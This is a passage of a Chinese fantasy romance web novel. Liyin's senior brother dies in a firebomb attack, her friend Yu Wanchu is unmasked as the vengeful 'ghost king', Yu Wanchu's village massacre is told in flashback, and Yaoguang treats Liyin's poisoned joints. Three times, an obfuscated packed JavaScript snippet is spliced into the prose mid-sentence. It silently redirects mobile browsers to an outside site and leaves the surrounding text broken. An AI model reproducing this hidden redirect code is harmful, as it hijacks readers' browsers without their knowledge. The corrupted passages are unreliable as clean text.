说到底竟还是因为商月,若不是他一片好心,把她藏进月牢,叫谁也找不到她,也不至于因着鬼王失踪,她也失踪,从而变成头号嫌疑犯了。 还有今日…… 这位月宫里天真纯澈的少主,果真又是一片全然天真的好心:他想要保住昆仑,便只需按住她这个“鬼王”,偏他又有私心,要连着“鬼王”也一起保下。 于是他日思夜想,估摸是前世囚她囚出了心得,竟还真叫他脑内清澈的愚光一闪,想出了个自以为绝妙的法子来困住她:只要在狂化之人体内构建堤坝,叫她灵脉滞涩,体内灵力再流淌不了,不也就囚住了她体内随灵流奔涌的恶魔,再难作恶了吗? 这事要办到,旁人或许困难,可他手上,却恰好有着天然的灵体堤坝:月露! 由月露而凝展而成的月牢,前世曾成功囚过她三百年的那个牢笼,他大概便是由此料想月露必可克她,叫她无从脱身,于是便在昆仑大劫将至之前的那段日子,趁她每日布阵虚弱,偷偷将其混在了补药之中,每日一点,喂入了她的身体。 不得不说,其实他这法子还真挺可行的。 前提是,若他能用对地方,用在真正的敌人身上,而不是可专门坑害自己人的话! 如今璃音灵脉受阻,每每动用了哪处,便要立马在身上砍掉哪处,以防气血滞胀。在如此重要的日子里给她搞这么一出,偏那位清澈的月宫少主还自以为做了好事,以一人之力,就解决了昆仑大祸! 再放出神识一探,果然五感受到了限制,整个还音殿内外,都已被层层铺展而开的月露裹了个严严实实。 他竟是把她的还音殿,变做了第二个月牢,并想要再一次把她囚禁在里面! 璃音一双清瞳转赤,真是气得咬牙切齿,几乎快要嚼穿龈血。 而就在这时,轰! 一根殿梁猛地塌裂,汹滚的热浪紧随其后,一团幽紫色的巨大火焰,如一道紫色的奔雷,携着磅礴汹涌的灵力,向着殿内,迅猛地袭坠而来! 一枚由琉璃净火包裹而成的灵力炸弹! 因为月露阻碍了所有人的五感,以至于天火降临,他们之中,竟无一人提前探查得到! 直至巨大的火团烧穿月露结界,夹杂着雷霆万钧的灵力,猛然砸落殿中,再要反应,救出这殿中所有人,已是迟了! 摇光眉目一沉,发尾擦着流泻而下的煌煌天火,一个旋身,将身前的少女搂入了怀中,他周身冷蓝色灵流暴起,璃音只来得及再用魂力勾住一个昏迷的商月,便随蓝芒一闪,消失在了还音殿中。 精雅恢宏的殿宇在她身后一声接着一声地轰然爆炸、倾塌! 逃出生天,可璃音自重生后,便再未经历过如同此刻一般沉暗的崩溃,泪水止也止不住地滚滚而下,她于漫天纷飞的尘屑之中回身,看着前方被天火完全吞噬掉的那一片废墟,终于瘫坐在地,崩溃地哭喊出声:“师兄!” 172. 第171章 上元惊变·鬼王 轰! 熊熊天火中包裹着的灵流炸尽,漫天火星溅落,方才还一派精雅祥静的殿宇,转瞬间,便只剩下黑糊糊的一堆灰烬,和一片死一般阴沉压抑的寂静中,偶尔响起的零星几点火苗舐灼着余烬的噼啪之声。 琉璃净火独有的幽紫色火舌,也在这火场余烬里冲天的黑烟之中,化作一缕弯绕曲折的轻雾,袅袅而散。 阵阵热浪的余温尚在扑面,璃音全身的血液,却就在这天火将熄的一瞬,彻底凉了下去。 天火散去,也就意味着…… “师兄……” 在那寂静下来的火场之中,已再无可供它啃噬的仙元。 火场前的少女亦停止了呼喊,她瘫跪在地,泪痕沾了满脸,只一双赤红的眼,却始终死死盯望着前方那一座灰墟。 而后,忽地,十根冰寒似玉的指骨一动,扒着地上的脏泥,一点,一点,攥握成拳! 少女缓侧过血冷的眸。 瞥过最后一刻被她捞出、昏晕在地的商月,她声线冰冷地吐出四个字:“把他带走。” 她此刻已无法,无法忍受看到他哪怕一眼! 不该是这样的。 明明不该是这样的! 明明她把一切都计划好了。 若非他自作聪明,擅自扰乱她的安排,偷种下月露,阻滞她的灵脉,封闭她和小七的五感,师兄,师兄就不会…… 不,是她的错。 是她要把商月放在身边的,是她决策失误,是因为她,都是因为她,师兄才…… 巨大的悲痛之后,是无尽的悔怒和自责,浩浩茫茫,山崩海啸般,将她席卷! 不顾灵脉阻塞,亦不等摇光应下那一声“好”,少女便倏然仰头,赤眸一翻,周身汹涌的魔气狂荡而出! 而后凌空,反身,一跃! 同时,一张燃腾着赤红色灵焰的巨弓,随少女一个遒劲的抻臂,猛地张起! 还音殿遭袭,昆仑山上早已炸开了锅,无数人往此处赶了过来,一道率先于众人飞速掠来的身影,不顾天火余温,便似一道流光,直接冲入了那已燃熄的火海余烬之中。 巫真师姐…… 璃音无法去看那个在火场废墟中四处翻找的身影,她无声地阖了阖眼。 她是该死,但还有一个比她更该死的人。 那个往她殿中投下天火炸弹的人。 再睁眼时,璃音眸底赤芒陡亮,五指一搭,一道迅猛的灵箭自指尖凝出,随神识气机锁定,直直对准了正安静负手、挺拔遥立于山巅之上的某一道身影。 出现了! 一袭黑袍猎猎,神秘的面容全然隐在深深的兜帽之下,叫人看不真切。 与前世一般无二! 鬼王! 只是…… 神识扫过整座山脉,只独它一煞,却不见其余恶灵。 腕骨、肩肘处的关节在一寸寸胀大,胀痛充斥璃音全身的灵脉,额间早已冷汗涔涔,可凌空持弓的少女只是咬紧了牙,凝足气力,弦上的灭魂一箭蓄势待发—— 山巅那人却忽地抬头,向着璃音的方向,缓抬起它纤细而苍白的指节,轻轻摘下了头上的兜帽。 层云之上,有大批天兵手持长枪、自四面八方呼喝而来,向着那一处一人围聚。 那人不闪不避,任由无数冰冷尖锐的枪尖围指成一个巨大的包围圈,随天兵们小心前进的步伐,一步,两步……向着自己逼拢而去。 她只是淡漠地仰头,漆黑的兜帽软软垂落在她的肩后,现出一张完整的、与那森冷黑袍全不相称的、柔婉娴静的脸。 璃音不可置信地怔望着她,欲放箭的指节一滞,只觉浑身每一处骨节都僵滞住了。 柳眉,杏目,熟悉的脸上却睁着一双无情无绪的眼睛,围剿她的神众凛凛,无数枪尖就要刺穿她单薄的躯体,她却从始至终看也未曾看他们一眼。 她只是将目光平静投向了虚空之中,那个张弓搭箭,将箭尖对准了自己,却满脸惊愕,根本对自己下不了手的那一个青衣少女。 原来她还活着。 虞宛初淡垂下眼,任无尽的尖枪与魂锁向着自己涌来,刺穿了她体内每一根筋骨。 “虞姐姐……” 真是个傻姑娘啊,直到此刻,还在颤声呢喃着她的名字呢。 一蓬又一蓬的鲜血自身上扎出的孔洞中喷涌而出,无数长枪穿架过女子薄韧的躯体,让她无法坠地,于是能垂下的只有两条失血过多的臂膀。 一面巫纹精致的考牌自她袖间落下。 然后,便是一声又一声细微而渐缓的—— 滴答,滴答…… 透红的血珠不断自指尖跌坠,在地面积起一汪鲜红的血潭。 而凌立于空中的那一道青碧色的身影,即便握弓的手用力到发颤,却始终没有向这副残躯射出那灭魂的一箭。 她没有来杀她,亦没有来救她。 也好。 至少这一次,不再是死在她手中了啊。 如此,这一世,便可算是自己赢了。 她总算赢了一次。 姑母,染棠,李婶,阿言……你们看到了吗? 这一世,终究,终究是轮到她赢了! 虽仍有遗憾,虽行此一事,过后必将神魂不复,但这一趟昆仑攀山之行,正如那日跪在师尊身前说过的那般—— 她虞宛初,无悔! 有风拂过,鼓荡起即便被血浸透、亦不会有丝毫显色的漆黑长袍的一角,将阵阵浓烈的血腥气味,随风吹散了开来。 而黑袍之中,虞宛初无力地轻勾了下唇角,便放任那一道青碧色的身影在视线中渐渐模糊,再无留恋地阖上了眼。 * “阿璃,你现在状态不好,想想曾经答应过我的事,先下来,到我这里来,不要做下让自己后悔的决定。” 清音透过星石银簪荡过识海,璃音空空茫茫的一双血眸之中,终于被唤回了一点焦聚。 曾经答应过他的事…… 睫根忽掠上一线微凉,一眨眼,竟有晶莹轻软的一片雪花,悠悠自她睫羽之上眨落。 竟是下雪了么。 是了,九百年前,他们久别重逢时,曾无声而紧密地相拥在雪地里,抱了好久好久。 那时的慕璟明拥着她,脑袋蹭进她颈窝,忽然在她耳边轻声说了一句:“阿璃,一起活下去吧。” 那时的她亦答应他了。 从那之后,她活着,便只为求生,再不求死。 无论初见,那时,还是现在,他都一如既往地仿佛能看透她心中所想。 璃音收起长弓,将体内不顾月露阻滞,对灵脉一波又一波自杀式的魂力冲击停下。 雪自空中落下的同时,她也缓阖了阖眸,落了下来。 见她落下,摇光心头稍松,然而少女面色惨白如金纸,落地时,肿痛难当的各个关节已再支撑不住她的身体,脚下一个虚浮踉跄,摇光立刻上前,将她稳稳接在了怀里。 她死死揪住他袍袖上的两团布料,将脸埋入他怀中,闻到他身上熟悉味道的瞬间,泪意再控制不住,竟像是一种习惯,终于放肆地汹涌而下。 她声颤难已:“是我害死了师兄, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473791|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是我……” 少女几乎字字泣血,声声句句,都是剜心噬骨般的自悔自恨:“我明知商月行事独断天真,却还是在今日放任他留在我身边!我探过了每一个攀山人的魂魄,却唯独放过了那两个真正重要的人,甚至给了他们不被护山大阵所伤的阵法!是我亲手把他们送入了今日的昆仑,是我……” “嘘,阿璃,看着我。” 埋在男人胸前那张哭得一塌糊涂的脸被捞出,话声亦被他捧定了双颊、强行打断。 璃音被迫仰眸,凝向摇光那一对有如清辉漫洒的瞳孔。 “阿璃,这不是你的错。”他一手扶去她后脑,一手轻轻去拭她满脸的泪痕,“你已经很努力了,取弓,设兵,埋阵,你已经做了所有你能做的。你从不对那些对你好的人设防,他们对你好过一分,你便总想着要百倍千倍地对他们好,报偿他们。是他们利用了你的真心,辜负了你的信任,但这不是你的错。” “阿璃。”他停下手里的动作,重新将她珍而重之地拥入怀里,“你只是太过珍惜他人的善意,这从来都不是你的错。” 可少女却在他怀里猛烈地摇起头来:“不,不是的,不只是这样的,你不知道……” “那道天火。”她静了下,濡湿的睫羽震颤难抑,“原本就只是冲着我一个人来的。” 谁人会对昆仑有此深仇大怨? 她曾在心中日夜叩问此句以寻鬼王,却苦寻无果,久久得不到一个答案。 因为答案便是:根本没有! 前世,今生,所谓的昆仑大劫,原本就都只是冲着她一个人来的。 虞宛初,虞宛言,虞家村。 虞宛言从初见起,就对她冷声恶气,从不待见她。 而初见虞宛初那段时间,她明明已近半仙之体,却身孱魂弱,每使用过灵力,便会头晕脚轻,一如她和小天真共处一躯时一般。 瑶池宴上,那一只口衔玉虚琉璃灯、夺舍佯醉向她飞来的白鹤,望向她的眼神,是那样充满冰冷的仇恨与怨毒。 一切的一切,所有这些难解的谜题,只需一个小小的、但她却从未想过的前提,便都自然而然有了解答。 少女静静阖上眼,仿佛那个曾折磨了她整整三百年、才停歇了不到半年的梦魇,又一次缠绕上了她。 前世,她神智尽失,随手一挥,便把虞家村全部七百一十四口凡人性命,尽皆屠杀殆尽。 那七百一十四口人里面,除了有做着一手绝妙酥饼的李三娘,有温和淑雅的虞夫人,有乖巧懂事、方才及笄的虞染棠…… 会不会,经历和目睹了这一切的,就还有着一个外表温静、内心执念却极其刚强的女子,和一个总是跟在阿姐身后的小小少年呢? 又会不会,这已不是“鬼王”第一次回来,于她而言的昆仑两世,鬼王要杀的,其实一直都是同一个人。 是她亲手催生了“鬼王”,而鬼王又再变作“石子”,一次又一次地回来,要来手刃至仇,亲手与她了结这一段血怨。 若都是,那么…… 无论是前世十位神巫祭阵而亡,神君陨落,还是今日的师兄遇害…… 竟是在神仙眼中如此渺小的凡人,渺小到绝不会将其作为“鬼王”之想的一介凡人,为了复仇,潜心不知百载千载,几世轮回,换尽手段,情愿自噬神魂,隐藏境界,重练修为,以凡人之躯,半仙之体,只为那一抹难消的恨与不甘,便敢数度攀上昆仑之巅,弑仙杀神! 可是,可是…… 少女流泪轻诉:“可是她要杀的,真正该死的那个人,从头到尾,就只有我一个啊……” 173. 第172章 山牢 神山仙缈,山石之上,从来浮岚瑶翠,鸾舞清啼。 而在山石之内,天光不进,仙眼难望的山腹之中—— 黑袍早已被刺得褴褛,露出一袭被血浸染的浅蓝春衫,腥浓黏腻,贴裹在虞宛初薄韧纤长的躯体上,似开了一身艳红的血海棠,将她向来苍白孱静的面容,也勾映出了一抹妖冶的艳色。 四条粗大的魂钉锁链,穿过她血涌如注的两处腕骨、两处肩胛,将这胆敢攀山弑神的惊世恶贼,牢牢钉死在了身后嶙峋的山肠岩壁之上。 滴答,滴答—— 厚重的山壁隔绝了一切光和声响,隔绝了所有山外的世界,昏暗森冷的山腹之内,无光,无人,亦无声。 一片沉寂。 唯有那自伤口处凝不住的血珠砸落在石地上的声音,一滴一响,单调而不知疲倦地重复着。 虞宛初安静地垂阖着眼,听着这声响,静静等待着体内血液流尽、魂力消融的那一刻的到来。 神识渐昏渐沉,茫茫恍惚之中,记忆之海里那些一刻也未曾消散过的画面,便又一次将她拽溺其中。 那一日是凡间的正月十五上元节,满街悬灯如昼,逛灯的男男女女们酣闹一晚,直过了子时,仍流流连连,不肯歇散。 因染棠之事,她和阿言特地辞别师尊,暂离了山门,正在家中探望陪伴姑母。 窗外渐渐飘起了轻雪。 于是莹澈秀美的雪景,又引发了街市之上的好一场热闹。 只是这份热闹,却与刚失了女儿、只把自己郁郁关在家中的姑母无关。 阿言正守着药炉,一边歪着脸呛咳,一边不大熟练地扇着小火,顶着一张被炭火熏黑了大半的脸,在旁边的小厨房里煎药。 她则揽了伤情的姑母在怀,不停细声宽慰着。 偶然听见那边厨房里手忙脚乱的动静,微微一怔,而后便无声又无奈地摇头一笑。 便在她唇边笑意未散之时,蓦地,一道流光划开暗夜,也割开了这个安居乐业数百载的小村的安宁。 恐怖的灵流压袭而下,如骤然降临的天罚,打碎满街的喜景欢闹,在一片惊叫慌逃之声中,无情地收割起了这一方平凡的小村之中,每一抹正平平凡凡、又热热闹闹庆贺着上元佳节的凡人魂魄。 她与阿言提剑奔出,向着那无尽魂力威压的来处,毫无犹疑地腾身一跃。 凌空,出鞘,剑阵起! 轰! 姐弟二人拼尽全身修为结出的阴阳鱼阵,向着那人随手洒下的幽幽魂力,凛然撞去! 他们已随师尊修行十数载,这年数,虽在茫茫修士之中尚且排不上号,但确如师尊所言,她根骨奇绝,进益神速,短短十数载,便已练成半仙之体,仿佛天生便是该修仙练道的苗子。 即便是得到的仙人,也未必接得住她与阿言此时联手的全力一击! 然而…… 在双方灵流触上的那一瞬间,她便已明白,她和阿言哪怕联手,哪怕拼却性命不要,也绝不是那人的对手。 果然,下一息—— 哗! 阴阳鱼阵之上旋转的暗黄色流光只坚持了一息,便在那人轻轻的一个弹指之下,如同敲碎的水银一般,溃然崩碎! 汹涌的灵流反噬而下,狠狠击打在空中那两个自不量力的凡人修士单薄的身躯之上。 砰! 悬满彩灯的横杆在身下折裂,而后,飞尘四起,两人的背脊,都狠狠砸落在坚硬的地面之上! 虞宛初偏头吐出一口血沫,她暗凛下眸,横袖缓缓擦过唇边血迹,撑剑起身,拦站在小村无数凡人的身前,再一次结出剑阵,向着那无尽高的高处,仰起了头。 那人高凌长空,睁一双暗赤的血眸,亦将那薄凉嗜血的目光,缓缓向她俯睨了下来。 而后,唇角轻轻一勾,勾出了一抹俯瞰蝼蚁一般、极尽嘲弄恶意的冷笑。 接着五指虚虚一拢,一枚精巧的白玉葫芦,便自那人腰间缓缓旋出,散发着幽幽嗜血的暗光,被那人拢在了掌心之上。 方才一击之下,虞宛初早已气血难支,肋骨尽断,那人不过看似随意逗弄的弹指一击,威力竟如此悍然可怖! 然而…… 她横剑当胸,仰颈而望,柔婉的一张静秀面容之上,却无一丝一毫的退却之意。 “修道者为心为民,为攀不可攀之山,为护天下曾力不足护之生灵。”她仰天,扬声清喝,“道友已臻此化境,缘何堪心不破,要反其道而行之,自损勋德,来残害此一隅无辜百姓的性命!” 那人闻言,却是唇边笑意忽停。 “苍生,呵,苍生……” 嘲弄般反复喃咏着“苍生”二字,忽地眸底血色骤涌,那人惊涛般震骇的怒声,随着天边滚过的一声恶龙咆哮一起砸下—— “苍生,苍生!我护苍生之时,谁又曾来护我?!” 邪龙巨硕的龙身疯狂搅动起云气,从无尽远的天边飞袭而至。 随那人怒吼,一道几可毁天灭地的灭魂之力,伴着那拍扫而来的硕长龙尾,齐齐席卷而下! 悬于空中的那一小只血色诡异的玉葫芦,亦是赤光陡盛,葫身一转,小嘴霎时张成一张几可吞人的血盆大口! “阿姐!快走!” 看着身前情知不敌,却依然持剑而立,半步不肯退却的阿姐,脊骨断裂、早已无法起身的少年自喉间滚过一声惊痛悲嚎,两行清澈的泪水,也随这一声呼号骤然涌出。 可虞宛初瘦削的身形仍倔强地挺立,迎着那席天卷地而来的灭魂之力,横剑结出那一道相比之下、弱小得近乎可笑的护身阵法,不回头,亦不肯退! 她是此刻村里唯剩的修士,唯一的希望,身后是她的胞弟、她的姑母,是数百看着她和阿言长大、手无寸铁的村民。 她不能退! 哪怕和大家一起葬身于此,她也绝不能退! 轰! 邪龙摆尾,巨大的龙尾向着那一道脆弱可笑的结界,狠狠拍落! 虞宛初仍是结阵不动,只是在那巨力袭来的瞬间,无声而轻缓地阖上了眼。 然后…… 一番天地倒转,分不清是什么东西往她身上狠狠压了下来,一阵温热带着血腥气味的黏液,喷溅洒落上她的面颊。 “阿姐……” “小花……” 她惊睁开眼。 一方由数不清的血肉之躯构筑而成的小小堡垒之中,无数村民将她和阿言压护在了身下。 泪水奔涌而出,她听到上方姑母温切的喊声:“小花,快走,别管姑母了,这里只有你和阿言还有逃出去的希望!走!快走!” 然后是李婶虚弱却粗犷不减的豪迈嗓音:“小花,我们今日是活不了啦,何必连累你们两个还能跑的在这里陪葬。快,听你姑母和李婶的,带着你小草弟弟,趁现在那人还没下来,快走!” 她强忍着失控的泪意摇头:“姑母,李婶,我不……” “宛初,听话,走吧!” “你和宛言走了,我们虞家村就还有人,以后就成了大神仙,别忘了来替你叔婶报仇啊。” “撑不了多久了,那疯子要下来了,走,快——” 龙尾还在不断自空中砸落,无数纷杂而急切的声浪自上方涌来,甚而有话到一半,就戛然而止,再没了声息的。 要听话,要跑,要活下去! 活下去,才有可能为今日因着神灵一怒,就无辜枉死的每一缕凡魂报仇! 跑,要快跑! 要趁那龙尾先至,魂力未发之时,快跑! 虞宛初咬死下唇,在无数村民为他们建构而成的血肉堡垒之中,一把拽住弟弟的手腕,用尽身上最后一丝灵力,带着他一起,在上方一双双或已阖上、或急急期切的眸光之中,放肆奔淌着眼泪,暗黄流光一闪,晃隐去了身形。 十数丈外,才刚二十出头的女子,牵扶着早已无法独自站立的少年,隐着身形,向着那身后的血肉之垒,回眸,看了最后一眼。 而后她回转过头,一把扛起弟弟纤长的身躯,放在自己瘦削的肩膀之上,提步疾奔! 数息后,身后无尽的魂浪和痛嚎炸涌开来,而她脚步一顿未顿,只任泪意汹涌而下,她只记得要跑,跑,快跑! 她背着阿言,一路迎风狂奔,奔向无尽远的远方,再没有回头。 * 而在厚厚的山壁之外,经历过一枚天火炮弹洗礼的昆仑山巅,为防后续还有恶灵攻击,无数天兵整肃成队,覆甲持枪,巡逻的脚步踩在渐渐积起的山间雪地之上,踩出一片肃然的簌簌声响。 巡逻期间,确也不时有三五恶灵试图上山来袭,但都是还未能踏上山脚,就被不知何人何时种下的神秘阵法捆缚在了山外。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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泪意比剧痛更快地袭来,少女的身子如一只失了重量的萤碟,被灵流裹挟着掀起,又再重重地跌坠在地。 一片阒寂。 良久之后,少女才用那肿胀怪异的掌骨撑起一点身子,她茫然地仰起头来,有雪不停落在她的鼻尖、睫上、甚至眼中。 而她眼也不眨,只是望向头顶这片茫茫荡荡的天空。 她的殿宇没了,师兄没了,师姐也没了。 宇宙浩荡无垠,竟仿佛没有一处是她的归处。 “走吧。” 视线忽被一伞油纸阻隔,一袭蓝影停在了她身侧。 “先回家。你的身体需要处理。” 回……家? 璃音缓侧过眸,望向了那个在雪地中为她撑伞的男人。 所有人都走了,所有人都弃她而去,他又为什么还不离开,为什么还要在她的身边? 是因为在等她回家吗? 回家,回家…… 被月露完全隔断在掌心之中、无处可淌的血液猛烈烧灼起来,一帧帧生动鲜活的画面,以从未有过的清晰,在她脑海中掠动了起来! 画面里有少女清灵跃切的嗓音—— “你来我家,我给你做娘子,你要不要?” “你戴着面具,一定是长相或身份上有所不便吧。只要你替了那位慕公子,跟我回家,有我替你遮掩,就再不会有人盘问你面具的事了,还有……还有我也会对你好的!” 还有男子含笑清沉的回语—— “以后都是一家人。” “应该的,娘子满意就好。” …… 少女的身子早已被月露折磨得一塌糊涂,各处关节脓肿外翻,血水不住往外渗淌。 摇光没有强行要带她回去治伤,只是俯身下去,怕惊扰了她一般,动作很轻地将她抱起。 哪怕人已在怀,他还是轻声征求着她的同意:“阿璃,跟我回家好不好?” 而怀中的少女只是仰眸怔望着他,不答。 许久之后,她一片空洞的眸底才忽有一线眸光闪动,眼角坠下泪来,她用她肿胀不堪的指骨艰难攥上他的袍襟,深仰起脸,声音极轻极轻地唤了他一声:“夫君。” 174. 第173章 劫狱 “嘶——” 幽夜寥静,摇光宽阔的殿宇之中,璃音坐在一张大大的圈椅里,挽了裙衫长裤,支出一条膝踝紫胀、血色淋漓的腿,在刮骨刀再一次刮上来时,终是忍不住,发出了一声低抑难熬的吸气声。 “别怕,稍微再忍一忍,最后一处,很快就好了。” 话音轻柔得几近哄人了,摇光持刀刮骨的手却未停,锋寒刀刃握在他凌冽的指间,刀刀稳狠,利落割去少女膝盖处凸起的骨刺,然后将整块淤肿的骨头撑开,开始放髓。 璃音轻轻“嗯”了声,安静垂着眼,看男人折身在她膝前,也安静着眉眼,认真而专注地为她刮骨疗毒,重塑关节。 是很痛,但真要忍的话,凭她死犟的性子,倒也不是忍不住,但每每在这个男人面前,很多本可以忍的痛和泪,就莫名变得不想忍了。 在他面前,哭也好,发脾气也好,偶尔的脆弱也好,似乎怎样都没有关系,无论她如何,他都永远也不会看轻她的。 这般想着,她不由将左手举到眼前,手上关节早已刮过又重愈,翻覆着看过一圈,十指纤长,根根莹白。 唯独掌心那一处浅淡了不知多少时日的淤痕,却在此刻变作了惊心触目的一片深紫。 少女将那淤痕盯了会,又去垂眼看正为她膝盖放髓的男人,伸手不满地戳了下他的肩,颇有些责惋地一叹:“早知道,你就该把这手留到最后一个再刮的。” 月露渗骨入髓,凝血滞脉,只没想到气血堵塞,带来剧痛的同时,竟还因祸得福,给璃音带来了个叫人惊喜的副作用。 气血一堵,那道被戒尺打过、原本怎么也淤不起来的浅痕,竟是在月露的助力下,终于淤胀起来了! 璃音想起了很多事,可不想髓毒流尽,那些不断涌出的画面竟也随之停了下来,叫她好生懊悔! “不是你嫌腿变丑了,不肯给我看,非要让我先弄的手,还是我的错了?” 摇光抬眉仰眸,待见着少女气抿着嘴,满脸懊丧,又不禁低低一笑,低下头去,继续专注为她撬放骨中的毒髓,缓声轻问:“想起到哪儿了?” 少女回忆着,垂眸睨他:“想起张婆在我茶水里下药,害我把你好一阵轻薄,你还故意敞着衣领不拉上,我现在想想,你那时根本就是故意的。” 说着指尖就又往男人肩上狠狠一戳,少女的气力实在悍然,摇光被她戳得手上刮骨的寒刃险些移位,抬手在她光洁的腿侧略带斥责地轻轻一拍,掀眸望了她一眼:“当了病人就乖些,别乱动。” 璃音轻哼一声,但还是听话地不再乱动了。 她重又安静看他为她刮骨的样子。 原来在那么早那么早的时候,在她真正的十六岁之时,她就已经为他心动了。 彼时她不过一介凡人少女,因缘际会,竟是拐了一个神君回家当赘婿。而那时她甚至都没看过他的脸,连他长什么样都不知道呢,竟就有拐他回家,和他共度一生的冲动,想想也真是奇妙。 她凝凝盯了他许久,忽唤了他一声:“小七。” 男人没有抬头,一面仔细为她处理伤口,一面曼声应着:“嗯?” 璃音盯着他发冠上镶着的那颗精致漂亮的星石,好半晌,才轻声支吾了句:“我们这样,算是夫妻吗?” 男人手上的动作微停,一息后,他才缓抬起那张凌厉漂亮的面容,望向她,长眉一挑:“我可是你父母亲自下聘,明媒过礼,八抬大轿抬进门,拜了堂的,怎么,阿璃这是想不认账?” 璃音“唔”了声,偏过头,避开他过于锋锐的视线:“可那都是凡间时的事了,而且拜堂的时候,你顶的都是另一位慕郎的身份,还蒙着面,就是在凡间,这事,都很难说算不算数的……” 其实知道小姑娘遗憾的是什么,摇光轻笑一声,也就随她各种抱怨耍赖,折膝跪俯在她身下,低垂下头,支起一边长腿,小心将她放好毒髓的一只腿搁放在自己膝上,又抬掌轻轻一拍她莹白软润的小腿肚:“伸直。” 璃音听话地伸直了腿,玉横青光盛亮,立刻葫芦肚子一挺,便给主人兢兢业业重塑起血肉来。 刚塑出来的关节总是比较僵硬,玉横退场,摇光便捞了她的膝盖替她一点点揉着,缓声问:“骨髓中的月露应当都排完了,还有哪里痛么?” 璃音下意识摇头,摇到一半,却又停住,光/裸莹白的脚丫子动了动,来了句:“好像哪里都有点痛。” 摇光动作一停,向她掀了掀眼。 果见少女双臂一张,图穷匕见:“你抱抱我吧。” 起身站着将她圈入怀里,她脑袋顶在他小腹上,不停拽他的袍袖,又有意见:“要你坐着抱我。” 摇光低头,看见她圆滚滚一个撒娇拱动的后脑勺,敛了下眸,还是依言将她抵着腿弯抱起,然后坐下,将她迎面抱坐在了自己的膝上。 “满意了?” 少女看似十分乖巧地一点头,双臂紧紧环过他腰身,把脑袋埋进了他的肩窝。 他亦环住她的:“还要我做什么?” 少女没有说话,只那颗簪着萤蝶发钗的脑袋在他肩窝处轻轻摇了一摇。 两人就这么安静抱了许久,忽地,摇光微跌的睫羽一颤,有一缕幽绿的神魂试探着,悄悄向他体内钻探了进来。 少女闷声在他颈侧,略带诱哄的嗓音同时传来:“再让我进去一次好不好?” 眸底掠上一丝沉晦,摇光轻抚着少女背脊的指骨一停。 没得到他的回应,那颗撒娇的后脑勺便又在他颈窝轻轻蹭动起来:“就一次,保证不弄痛你,夫君,今天就给我好不好?” 这就是她最终的决定吗? 哪怕会将与他之前承诺过的所有约定一一撕碎,她仍是做下了那样一个决定。 感受着颈上传来的那一点微凉的濡湿,摇光倏然捞起少女的脸,看她猝不及防下仓皇偏头想要遮掩掉的满面泪痕,没有作声。 他扳过她的脸看她,看她苍白的面容,看她紧抿到几乎失去血色的唇,看的最多的,还看她湿润却倔强的眼睛。 许久,他终是落败般搭垂下眼帘,徐缓将额心抵上她的,叹息一般应了她一声:“好。” 他阖上眼,不再看她,任她柔软的唇瓣倾覆上来,含住他的索弄,而后温柔又小心地,将她那一抹神魂厮磨着探了进来。 他的神识还是那般渊垠、淡谧而包容,璃音想起他们第一次亲吻,似乎是在一棵树干巨硕的大树上,可真是个奇怪的地点。只可惜了前不久他们一起在她院里栽下的那些小树苗,再没有机会看着它们长大,躲在里面与他做那些亲密的事了。 初次亲他那日,天上似乎也飘着雪,她那样直白地亲他,向他诉说喜欢,可其实她心里忐忑得要死,怕他不会一直喜欢她,怕他失望,怕他后悔。 可他通通都没有。 她在那些交杂的记忆和泪水中吻他,神魂在他那处尚且泛着淡淡一点幽光的残损烙印之前一停。 泪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493297|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意汹涌。 她在两人唇齿间轻喃:“小七,如果你爱我,就忘了我吧。” 神魂向着那处残印压覆上去,却猛地被身下的男人攥紧了手,狠狠咬住了她的舌尖。 他在警告她。 他可以纵容她的一切,甚至纵容她抛弃他们之间的一切过往,去做她想做的任何事。 唯独在夺走有关她全部记忆的这一件事上,他绝不会纵容她。 但男人的挣抗并没能持续太久,随少女额心一抹碧色幽幽亮过,男人用力攥在她指上的那根根修长的指骨,终于在某个瞬间脱力,缓缓垂落了下去。 自他额心撤开,璃音看他昏睡过去的面庞,又在他水亮饱满的唇上难舍地啄了好几下,才将整个人偎进他怀里:“我给了你机会,是你自己不肯忘的,到时难过了,可不许来怪我。” 抱了会,又再仰起脸来看他,看得心动,又去细细吻他垂覆的睫。 有咸涩的潮意自舌尖卷入,璃音眼眶一酸,便又坠下泪来。 难怪他之前一直闭着眼,是不想被她发现吗。 又或者,是怕她看见了,就走不了了吧。 她重又抱紧他,真的好想把整个人都埋进他身体里,可却发现他无法再回抱着自己了。 勾臂想去捞他的手,却忽觉掌心似有一团异物,璃音抬起手来,摊开一看。 掌心暗红的淤痕之上,静静躺着一只已泛了枯黄的草蚱蜢。 * 昆仑山腹,魂狱天牢。 关于那年上元节惊惨一夜的回忆并不算漫长,可偏就是能一遍又一遍地拽着虞宛初溺于其中。 脑海中的声浪纷杂,一会是姑母的呼叫:“快走,小花,快走!” 